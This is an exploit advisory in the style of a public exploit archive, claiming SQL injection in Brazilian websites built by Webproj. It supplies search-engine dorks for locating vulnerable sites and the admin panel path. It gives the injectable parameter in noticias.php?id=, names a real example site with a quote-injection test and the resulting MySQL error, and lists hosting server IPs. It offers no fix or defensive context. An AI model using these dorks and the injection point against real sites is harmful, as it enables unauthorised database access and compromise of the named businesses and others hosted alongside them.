Desenvolvido por Webproj Brazil SQL Injection

######################################################

# Exploit Title : Webproj Brazil SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 17/01/2019
# Vendor Homepage : webproj.com.br
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:''Desenvolvido por Webproj'' site:br
intext:''Criação de sites Porto Alegre''
intext:''Criação de loja virtual Porto Alegre''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]

######################################################

# Admin Panel Login Path :
*************************
/admin

# SQL Injection Exploit :
***********************
/noticias.php?id=[SQL Injection]

######################################################

# Example Vulnerable Site :
*************************

[+] corpoacao.com.br/noticias.php?id=61%27  =>

[ Proof of Concept ] => archive.is/Ym4qv

Note : (191.252.132.249) => There are 18 domains hosted on this server.

Note : (35.211.91.136) => There are 6 domains hosted on this server.

######################################################

# SQL Database Error :
**********************
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for
the right syntax to use near ''61''' at line 1

######################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

######################################################